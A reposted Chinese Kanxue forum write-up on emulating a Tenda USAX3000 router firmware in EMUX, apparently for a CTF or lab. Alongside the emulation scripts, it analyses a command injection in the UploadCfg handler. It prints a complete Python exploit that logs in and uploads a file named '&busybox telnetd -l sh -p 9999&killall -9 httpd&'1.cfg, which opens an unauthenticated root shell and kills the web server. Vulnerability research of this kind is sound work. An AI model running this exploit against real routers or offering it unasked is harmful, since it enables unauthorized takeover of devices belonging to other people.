00000010: 22 6E 61 6D 65 22 3A 20 &nbsp;22 73 79 73 2E 73 73 6C &nbsp;"name":&nbsp;"sys.ssl
00000020: 65 6E 61 62 6C 65 22 2C &nbsp;20 22 76 61 6C 75 65 22 &nbsp;enable",&nbsp;"value"
00000030: 3A 20 22 31 22 7D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; :&nbsp;"1"}

首先将default.cfg转为ini格式的文件，生成default.ini的cfg_parser.py代码如下:

import&nbsp;configparser

def&nbsp;convert_to_ini_format(input_file, output_file):
# 使用RawConfigParser替代ConfigParser
&nbsp; &nbsp; config = configparser.RawConfigParser()

# 添加默认section
&nbsp; &nbsp; config['DEFAULT'] = {}

# 读取原始文件
with&nbsp;open(input_file,&nbsp;'r', encoding='utf-8')&nbsp;as&nbsp;f:
for&nbsp;line&nbsp;in&nbsp;f:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; line = line.strip()
if&nbsp;line&nbsp;and&nbsp;'='&nbsp;in&nbsp;line:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; key, value = line.split('=',&nbsp;1)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; config['DEFAULT'][key.strip()] = value.strip()

# 写入INI格式文件
with&nbsp;open(output_file,&nbsp;'w', encoding='utf-8')&nbsp;as&nbsp;f:
&nbsp; &nbsp; &nbsp; &nbsp; config.write(f)

# 主程序
if&nbsp;__name__ ==&nbsp;"__main__":

&nbsp; &nbsp; input_file =&nbsp;"default.cfg"
&nbsp; &nbsp; output_file =&nbsp;"default.ini"

try:
# 转换配置文件格式
&nbsp; &nbsp; &nbsp; &nbsp; convert_to_ini_format(input_file, output_file)

except&nbsp;Exception&nbsp;as&nbsp;e:
print(f"处理配置文件时出错:&nbsp;{e}")

模拟cfm_socket的uds_server.py代码如下:

import&nbsp;socket
import&nbsp;threading
import&nbsp;json
import&nbsp;struct
import&nbsp;hexdump
import&nbsp;configparser

BUFFER_SIZE =&nbsp;1024&nbsp;&nbsp;# 定义一次接收的最大字节数

config = configparser.RawConfigParser()
config.read("default.ini", encoding='utf-8')

def&nbsp;handle_client(client_socket, address):
"""处理客户端连接的函数"""
try:
while&nbsp;True:
# 接收客户端数据
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; received_data = client_socket.recv(BUFFER_SIZE)
if&nbsp;not&nbsp;received_data:
break
print("received_data:")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hexdump.hexdump(received_data)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; json_data = json.loads(received_data[4:])

# 7. 准备并发送响应
if&nbsp;json_data['value'] !=&nbsp;"":
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; config.set('DEFAULT', json_data['name'], json_data['value'])

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; json_data['type'] = json_data['type'] +&nbsp;1
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; json_data['value'] = config['DEFAULT'].get(json_data['name'],&nbsp;'')
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; response_message = json.dumps(json_data)
# 根据指定的格式打包头部
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; response_data = struct.pack('<I',&nbsp;len(response_message)) + response_message.encode('utf-8')
print("response_data:")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hexdump.hexdump(response_data)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; client_socket.send(response_data)

except&nbsp;Exception&nbsp;as&nbsp;e:
print(f"{address}&nbsp;:&nbsp;{e}")
finally:
&nbsp; &nbsp; &nbsp; &nbsp; client_socket.close()

def&nbsp;start_tcp_server(host='0.0.0.0', port=8888):
"""启动TCP服务器"""
# 1. 创建TCP套接字
&nbsp; &nbsp; server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 2. 设置套接字选项，允许地址重用
&nbsp; &nbsp; server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,&nbsp;1)

try:
# 3. 绑定IP地址和端口
&nbsp; &nbsp; &nbsp; &nbsp; server_socket.bind((host, port))

# 4. 开始监听，允许5个挂起连接
&nbsp; &nbsp; &nbsp; &nbsp; server_socket.listen(5)

while&nbsp;True:
# 5. 接受客户端连接
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; client_socket, address = server_socket.accept()

# 6. 为每个客户端创建新线程
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; client_thread = threading.Thread(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; target=handle_client,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; args=(client_socket, address)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; client_thread.daemon =&nbsp;True
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; client_thread.start()

except&nbsp;KeyboardInterrupt:
print("Ctrl+C...")
except&nbsp;Exception&nbsp;as&nbsp;e:
print(f"{e}")
finally:
# 将修改写入配置文件
with&nbsp;open('default.ini',&nbsp;'w', encoding='utf-8')&nbsp;as&nbsp;configfile:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; config.write(configfile)

&nbsp; &nbsp; &nbsp; &nbsp; server_socket.close()

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; start_tcp_server()

正常情况是直接在EMUX的路由器环境中模拟/var/cfm_socket通信，但是路由器的环境不支持PYTHON，需要在远程运行一个TCP服务，然后使用socat命令将远程的TCP服务端口映射到路由器的/var/cfm_socket路径。

将uds_server.py和default.ini文件复制到workspace目录中，并在主机的SHELL运行以下命令:

cd&nbsp;workspace/

python uds_server.py

这样就开启了一个TCP服务，并监听172.22.197.151:8888端口。

重新打开一个emux-docker 输入 userspace 选择第一个进入EMUX HOSTFS shell,运行以下的命令:

socat&nbsp;UNIX-LISTEN:/emux/firmware/TENDA-USAX3000/squashfs-root/var/cfm_socket,fork,reuseaddr,unlink-early&nbsp;TCP:172.22.197.151:8888

这样远程的172.22.197.151:8888端口就被映射到了路由器固件的/var/cfm_socket路径上。

在路由器环境中查看cfm_socket已经存在:

s -la /var/
total 24
drwxr-xr-x &nbsp; &nbsp;8 root &nbsp; &nbsp; 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 Nov 22 10:47 .
drwxr-xr-x &nbsp; 18 1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096 Nov 22 06:04 ..
-rw-r--r-- &nbsp; &nbsp;1 root &nbsp; &nbsp; 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;184 Nov 22 06:15 auth.txt
srwxr-xr-x &nbsp; &nbsp;1 root &nbsp; &nbsp; 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 Nov 22 10:47 cfm_socket
drwxr-xr-x &nbsp; &nbsp;2 root &nbsp; &nbsp; 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 Nov 22 06:12 debug
drwxr-xr-x &nbsp; 12 root &nbsp; &nbsp; 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 Nov 22 06:12 etc
-rwxr-xr-x &nbsp; &nbsp;1 root &nbsp; &nbsp; 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;222 Nov 22 06:12 eth_name_conf.txt
-rwxr-xr-x &nbsp; &nbsp;1 root &nbsp; &nbsp; 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 88 Nov 22 06:12 eth_to_port_config.txt
-rwxr-xr-x &nbsp; &nbsp;1 root &nbsp; &nbsp; 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;139 Nov 22 06:12 led_stat_rssi_th.txt
drwxr-xr-x &nbsp; &nbsp;2 root &nbsp; &nbsp; 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 Nov 22 06:12 media
drwxr-xr-x &nbsp; &nbsp;2 root &nbsp; &nbsp; 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 Nov 22 06:12 ppp
-rw-r--r-- &nbsp; &nbsp;1 root &nbsp; &nbsp; 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;424 Nov 22 06:15 route.txt
drwxr-xr-x &nbsp; &nbsp;2 root &nbsp; &nbsp; 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 Nov 22 06:12 run
drwxr-xr-x &nbsp; &nbsp;3 root &nbsp; &nbsp; 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 Nov 22 06:12 webroot

现在运行/bin/httpd程序，不再提示任何错误:

/bin/httpd&nbsp;--debugger&nbsp;--verbose
[init_ucloud_v2][1182]:cgi_ucloud_init&nbsp;start
goahead: 2:Configuration&nbsp;for&nbsp;Embedthis&nbsp;GoAhead
goahead: 2: ---------------------------------------------goahead: 2: Version:4.0.1
goahead: 2: BuildType:Debug
goahead: 2: CPU:arm
goahead: 2: OS:linux
goahead: 2: Host:192.168.100.2
goahead: 2: Directory:/
goahead: 2: Documents:/webroot/publish
goahead: 2: Configure:me&nbsp;-d&nbsp;-q&nbsp;-platform&nbsp;linux-x86-default&nbsp;-configure&nbsp;.&nbsp;-gen&nbsp;make
goahead: 2: ---------------------------------------------goahead: 2:Started&nbsp;http://*:80goahead:&nbsp;2:Started&nbsp;https://*:4433

访问http://172.22.197.151:20080/quickset.html地址进入路由器的设置页面,设置管理密码后登陆成功:

#

七、漏洞分析

#

在libgo.so的UploadCfg函数中存在命令注入漏洞，如果上传名称为’&busybox telnetd -l sh -p 9999&killall -9 httpd&’1.cfg的文件，可将上传文件的名称作为shell的命令执行，在9999端口开启telnetd服务。

漏洞代码如下:

运行结果如下:

POC代码如下:

import&nbsp;requests
import&nbsp;urllib3
import&nbsp;json
import&nbsp;hashlib
import&nbsp;time

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class&nbsp;RouterExploit:
def&nbsp;__init__(self, target_ip, target_port=80):
&nbsp; &nbsp; &nbsp; &nbsp; self.target_ip = target_ip
&nbsp; &nbsp; &nbsp; &nbsp; self.target_port = target_port
&nbsp; &nbsp; &nbsp; &nbsp; self.host =&nbsp;f"{target_ip}:{target_port}"
&nbsp; &nbsp; &nbsp; &nbsp; self.base_url =&nbsp;f"http://{target_ip}:{target_port}"
&nbsp; &nbsp; &nbsp; &nbsp; self.session = requests.Session()
&nbsp; &nbsp; &nbsp; &nbsp; self.stok =&nbsp;None
&nbsp; &nbsp; &nbsp; &nbsp; self.sign =&nbsp;None

def&nbsp;md5_hash(self, password):
"""Calculate MD5 hash of password"""
return&nbsp;hashlib.md5(password.encode()).hexdigest().upper()

def&nbsp;login(self, username="admin", password="admin"):
"""Login to router and obtain authentication token"""

# First visit login page to get initial cookies
&nbsp; &nbsp; &nbsp; &nbsp; login_html =&nbsp;f"{self.base_url}/login.html"
&nbsp; &nbsp; &nbsp; &nbsp; response = self.session.post(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; login_html,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; verify=False,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; allow_redirects=True,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; timeout=10
&nbsp; &nbsp; &nbsp; &nbsp; )
print(f"Login page status:&nbsp;{response.status_code}")

&nbsp; &nbsp; &nbsp; &nbsp; login_url =&nbsp;f"{self.base_url}/login/Auth"

# Password needs MD5 encryption
&nbsp; &nbsp; &nbsp; &nbsp; hashed_password = self.md5_hash(password)

# Login data
&nbsp; &nbsp; &nbsp; &nbsp; login_data = {
"userName": username,
"password": hashed_password
&nbsp; &nbsp; &nbsp; &nbsp; }

try:
print(f"[*] Attempting to login to&nbsp;{self.base_url}...")
print(f"[*] Username:&nbsp;{username}")
print(f"[*] Password MD5:&nbsp;{hashed_password}")

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; response = self.session.post(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; login_url,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; json=login_data,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; verify=False,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; timeout=10
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )

print(f"[*] Login response status code:&nbsp;{response.status_code}")

if&nbsp;response.status_code ==&nbsp;200:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; result = response.json()
if&nbsp;result.get("errCode") ==&nbsp;0:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self.stok = result.get("stok")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self.sign = result.get("sign")
print(f"[+] Login successful!")
print(f"[+] Obtained stok:&nbsp;{self.stok}")
print(f"[+] Obtained sign:&nbsp;{self.sign}")
return&nbsp;True
else:
print(f"[-] Login failed, error code:&nbsp;{result.get('errCode')}")
return&nbsp;False
else:
print(f"[-] Login request failed, status code:&nbsp;{response.status_code}")
return&nbsp;False

except&nbsp;requests.exceptions.RequestException&nbsp;as&nbsp;e:
print(f"[-] Login request error:&nbsp;{e}")
return&nbsp;False
except&nbsp;json.JSONDecodeError:
print(f"[-] Failed to parse login response")
return&nbsp;False

def&nbsp;exploit_upload_command_injection(self, telnet_port=9999):
"""
&nbsp; &nbsp; &nbsp; &nbsp; Exploit command injection vulnerability through file upload functionality
&nbsp; &nbsp; &nbsp; &nbsp; """
if&nbsp;not&nbsp;self.stok:
print("[-] Please login first to obtain authentication token")
return&nbsp;False

&nbsp; &nbsp; &nbsp; &nbsp; upload_url =&nbsp;f"{self.base_url}/cgi-bin/UploadCfg"

# Build request body
&nbsp; &nbsp; &nbsp; &nbsp; boundary =&nbsp;"----WebKitFormBoundarymDMrPSMBEYxfE1pT"
&nbsp; &nbsp; &nbsp; &nbsp; malicious_filename =&nbsp;f"'&busybox telnetd -l sh -p&nbsp;{telnet_port}&killall -9 httpd&'1.cfg"

# Use precise format including all line breaks
&nbsp; &nbsp; &nbsp; &nbsp; body_lines = [
f"--{boundary}",
f'Content-Disposition: form-data; name="file"; filename="{malicious_filename}"',
"Content-Type: application/octet-stream",
"",
"#The word of "Default" must not be removed",
"Default",
"",
"##the public configure end##",
"",
"",
f"--{boundary}--"
&nbsp; &nbsp; &nbsp; &nbsp; ]

&nbsp; &nbsp; &nbsp; &nbsp; body =&nbsp;"\r\n".join(body_lines) &nbsp;# Use \r\n as line break
&nbsp; &nbsp; &nbsp; &nbsp; body = body +&nbsp;"\r\n"

# Calculate exact Content-Length
&nbsp; &nbsp; &nbsp; &nbsp; content_length =&nbsp;len(body)

# Request headers
&nbsp; &nbsp; &nbsp; &nbsp; headers = {
"Content-Type":&nbsp;f"multipart/form-data; boundary={boundary}"
&nbsp; &nbsp; &nbsp; &nbsp; }

try:
print(f"\n[*] Sending command injection attack...")
print(f"[*] Injected command: busybox telnetd -l sh -p&nbsp;{telnet_port}")

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; response = self.session.post(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; upload_url,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; headers=headers,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; data=body,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; verify=False,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; timeout=10
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )

print(f"[*] Attack response status code:&nbsp;{response.status_code}")
print(f"[*] Response content:&nbsp;{response.text}")

# Even if error is returned, command might have executed
print("[+] Command injection request sent")
print(f"[*] Telnet service should start on port&nbsp;{telnet_port}")

return&nbsp;True

except&nbsp;requests.exceptions.RequestException&nbsp;as&nbsp;e:
print(f"[-] Attack request error:&nbsp;{e}")
return&nbsp;False

def&nbsp;check_telnet_service(self, port=9999):
"""
&nbsp; &nbsp; &nbsp; &nbsp; Check if telnet service started successfully
&nbsp; &nbsp; &nbsp; &nbsp; """
import&nbsp;socket

print(f"\n[*] Checking telnet service&nbsp;{self.target_ip}:{port}...")

try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sock.settimeout(5)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; result = sock.connect_ex((self.target_ip, port))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sock.close()

if&nbsp;result ==&nbsp;0:
print(f"[+] Telnet service started on&nbsp;{self.target_ip}:{port}!")
print(f"[+] Connect using: telnet&nbsp;{self.target_ip}{port}")
return&nbsp;True
else:
print(f"[-] Telnet service not responding on&nbsp;{self.target_ip}:{port}")
return&nbsp;False

except&nbsp;Exception&nbsp;as&nbsp;e:
print(f"[-] Error checking telnet service:&nbsp;{e}")
return&nbsp;False

def&nbsp;run_exploit(self, username="admin", password="admin", telnet_port=9999):
"""
&nbsp; &nbsp; &nbsp; &nbsp; Execute complete attack process
&nbsp; &nbsp; &nbsp; &nbsp; """
print("="&nbsp;*&nbsp;60)
print("Router Command Injection Exploit Script")
print(f"Target:&nbsp;{self.base_url}")
print("="&nbsp;*&nbsp;60)

# Step 1: Login
if&nbsp;not&nbsp;self.login(username, password):
print("[-] Login failed, attack terminated")
return&nbsp;False

# Step 2: Execute command injection
if&nbsp;not&nbsp;self.exploit_upload_command_injection(telnet_port):
print("[-] Command injection failed")
return&nbsp;False

# Step 3: Wait and check service
print("\n[*] Waiting for telnet service to start...")
&nbsp; &nbsp; &nbsp; &nbsp; time.sleep(5)

if&nbsp;self.check_telnet_service(telnet_port):
print("\n[+] Attack completed successfully!")
return&nbsp;True
else:
print("\n[-] Attack may have failed, please check manually")
return&nbsp;False

def&nbsp;main():
# Configuration parameters
&nbsp; &nbsp; target_ip =&nbsp;"172.22.197.151"
&nbsp; &nbsp; target_port =&nbsp;20080
&nbsp; &nbsp; username =&nbsp;"admin"
&nbsp; &nbsp; password =&nbsp;"KANXUECTF"&nbsp;&nbsp;# Change to actual password
&nbsp; &nbsp; telnet_port =&nbsp;9999

# Create exploit instance
&nbsp; &nbsp; exploit = RouterExploit(target_ip, target_port)

# Execute attack
&nbsp; &nbsp; exploit.run_exploit(username, password, telnet_port)

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; main()

#

看雪ID：易之生生

https://bbs.kanxue.com/user-home-920134.htm

*本文为看雪论坛优秀文章，由易之生生原创，转载请注明来自看雪社区

往期推荐

从ANGR-CTF项目入手ANGR和符号执行技术

AI时代-逆向工作者该如何用好这一利器

EXIF解析缓冲区溢出漏洞分析与利用

从C到Pwn：栈溢出漏洞利用实战入门

Android-ARM64的VMP分析和还原

球分享

球点赞

球在看

点击阅读原文查看更多

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：看雪学苑易之生生《TD路由器环境模拟与漏洞分析》

Tags: IoT安全二进制安全安全工具实战经验漏洞分析

你可能错过

10月17日专题会议：数据安全防护与治理前沿学术会议

【漏洞通告】Cisco ISE远程代码执行漏洞（CVE-2026-20211)

2026年人工智能大模型安全众测结果发布

【漏洞通告】Cisco ISE远程代码执行漏洞（CVE-2026-20211)